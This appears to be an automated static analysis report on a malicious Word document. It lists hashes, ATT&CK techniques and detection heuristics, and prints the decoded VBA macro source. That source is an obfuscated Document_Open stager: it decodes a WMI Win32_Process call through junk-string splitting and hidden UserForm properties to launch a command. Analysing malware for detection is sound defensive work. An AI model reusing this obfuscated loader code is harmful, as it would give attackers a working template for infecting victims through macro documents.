Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 c619b2e858c69d75…

MALICIOUS

Office (OLE)

172.3 KB Created: 2020-08-06 19:16:00 Authoring application: Microsoft Office Word First seen: 2020-09-07
MD5: d4a2d1c6d92f2d1f577b2b6ec7ee6da2 SHA-1: 504d664c3c539e4daf81ce66c8b0b2454ad91c42 SHA-256: c619b2e858c69d75f1544e31bf7c08db6f66cc7d94281f798f3dd4d64153edc2
262 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample is a malicious Office document containing VBA macros. The 'Document_Open' macro, combined with 'CreateObject' and a hidden UserForm property stager, indicates an attempt to execute arbitrary code. This pattern is commonly used to download and execute further malicious payloads, aligning with spearphishing attachment tactics.

Heuristics 7

  • ClamAV: Doc.Malware.Sagent-9238095-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Sagent-9238095-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4122 bytes
SHA-256: e275d61a62cc5bf1fdee30fc2f7f279716ba3661e2ac967e54aa9987cc976f9d
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "BTETFrqsgfwadmskthf"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
LJBWFqjeldlroqrmo.RMATVfrfvzumyst
End Sub


Attribute VB_Name = "LJBWFqjeldlroqrmo"
Attribute VB_Base = "0{470CB418-99A1-4CF2-91D0-69FADAC5FBAE}{8D56C65F-BDAE-41D7-9E75-C2DFA7D922EA}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function RMATVfrfvzumyst()
ZD7ÁRXn = 1
Do While ZD7ÁRXn < 1 + 9
ZD7ÁRXn = ZD7ÁRXn + 6: DoEvents
Loop
MTGZXknrunrqizhkz = Chr(LJBWFqjeldlroqrmo.Zoom + ((30 + 60 + 30) / (4 + 4)))
ZD7ÁRXn = 1
Do While ZD7ÁRXn < 1 + 9
ZD7ÁRXn = ZD7ÁRXn + 6: DoEvents
Loop
Dim MQtfr As Integer
MQtfr = Len("WPDQNM")
CNZVXtfiaxphy = "2348*&%7893T289 &*(HUIGSAU76787GSGSG3D2348*&%7893T289 &*(HUIGSAU76787GSGSG3Dw2348*&%7893T289 &*(HUIGSAU76787GSGSG3Di2348*&%7893T289 &*(HUIGSAU76787GSGSG3Dnm2348*&%7893T289 &*(HUIGSAU76787GSGSG3D2348*&%7893T289 &*(HUIGSAU76787GSGSG3Dgm2348*&%7893T289 &*(HUIGSAU76787GSGSG3Dt2348*&%7893T289 &*(HUIGSAU76787GSGSG3D2348*&%7893T289 &*(HUIGSAU76787GSGSG3D" + MTGZXknrunrqizhkz + "2348*&%7893T289 &*(HUIGSAU76787GSGSG3D2348*&%7893T289 &*(HUIGSAU76787GSGSG3D:2348*&%7893T289 &*(HUIGSAU76787GSGSG3Dw2348*&%7893T289 &*(HUIGSAU76787GSGSG3Din2348*&%7893T289 &*(HUIGSAU76787GSGSG3D2348*&%7893T289 &*(HUIGSAU76787GSGSG3D32348*&%7893T289 &*(HUIGSAU76787GSGSG3D22348*&%7893T289 &*(HUIGSAU76787GSGSG3D_2348*&%7893T289 &*(HUIGSAU76787GSGSG3D" + LJBWFqjeldlroqrmo.YGVZCorrhocushy + "2348*&%7893T289 &*(HUIGSAU76787GSGSG3Dro2348*&%7893T289 &*(HUIGSAU76787GSGSG3D2348*&%7893T289 &*(HUIGSAU76787GSGSG3Dce2348*&%7893T289 &*(HUIGSAU76787GSGSG3Ds2348*&%7893T289 &*(HUIGSAU76787GSGSG3Ds2348*&%7893T289 &*(HUIGSAU76787GSGSG3D"
ZD7ÁRXn = 1
Do While ZD7ÁRXn < 1 + 9
ZD7ÁRXn = ZD7ÁRXn + 6: DoEvents
Loop
Dim Oat7ÏCU7À As Variant
OOVNSmihhaeqwej = RJKTFytcgetevlhv(CNZVXtfiaxphy)
Dim k8ÓcbRRJYey As Integer
k8ÓcbRRJYey = Len("nXUm")
Set NIFNMmhoartc = CreateObject(OOVNSmihhaeqwej)
Dim MYsmbE7 As Long
PYJZXvmudvpejwbyubt = LJBWFqjeldlroqrmo.CKAFHakyleoiomxco.ControlTipText
Dim VvSOR1Öop As Variant
VFPQOrtaqeseowjnefb = nsbuqwd + (OOVNSmihhaeqwej + MTGZXknrunrqizhkz + LJBWFqjeldlroqrmo.VXZXIfewapwg.ControlTipText + PYJZXvmudvpejwbyubt)
GoTo VB1ÍlR
VB1ÍlR:
CREBWinacdvgctftwzg = VFPQOrtaqeseowjnefb + LJBWFqjeldlroqrmo.YGVZCorrhocushy
Dim u6ÑPouprUqC As Double
Set LKJMKkhhwnifxsif = TKDAZufiyooesf(CREBWinacdvgctftwzg)
Dim h2ÀqGNdl As String
s = Array(n + "jsdd", NIFNMmhoartc. _
Create(GRRVJljddlsonzv, ZFKRInjcdwdbbguznl, LKJMKkhhwnifxsif), INSN + "dvvew")
GoSub HSO7âRMQ
HSO7âRMQ:
GoTo BGI
Return
BGI:
ZD7ÁRXn = 1
Do While ZD7ÁRXn < 1 + 9
ZD7ÁRXn = ZD7ÁRXn + 6: DoEvents
Loop
End Function
Function TKDAZufiyooesf(SDWHZmziuzmgkv)
ZD7ÁRXn = 1
Do While ZD7ÁRXn < 1 + 9
ZD7ÁRXn = ZD7ÁRXn + 6: DoEvents
Loop
Set TKDAZufiyooesf = CreateObject(SDWHZmziuzmgkv)
Dim dgK8Ye As Currency
ZD7ÁRXn = 1
Do While ZD7ÁRXn < 1 + 9
ZD7ÁRXn = ZD7ÁRXn + 6: DoEvents
Loop
TKDAZufiyooesf. _
showwindow = FVJRMwxdjmjqaple + GRGXQdstbpsksbezk + ZQNYVljzptfcmpbesve
Dim uebuZa As Variant
End Function
Function RJKTFytcgetevlhv(ONVGXkxmvderwv)
VZGQJligoaujjn = ONVGXkxmvderwv
GoTo OLAE6ÒgyDT
OLAE6ÒgyDT:
HMLBUpvutbiam = Split _
(VZGQJligoaujjn, "2348*&%7893T289 &*" + "(HUIGSAU76787GSGSG3D")
Dim sQvHE5ÃZ As Integer
sQvHE5ÃZ = Len("cIRwWF")
VMJCEvfuxkvzuqgc = ms + Join(HMLBUpvutbiam, e2)
GoTo cDCrGvM
cDCrGvM:
RJKTFytcgetevlhv = VMJCEvfuxkvzuqgc
Dim V5Ü8ÍA As Variant
End Function
Function GRRVJljddlsonzv()
kqhlwie = LJBWFqjeldlroqrmo.KMTKGdumtbhvivzxlo.Pages(3 / 3).Caption
GoSub ZdXKX
ZdXKX:
GoTo U3Ä6PeXB1ÈvH
Return
U3Ä6PeXB1ÈvH:
GRRVJljddlsonzv = RJKTFytcgetevlhv(kqhlwie)
GoTo aknR
aknR:
End Function

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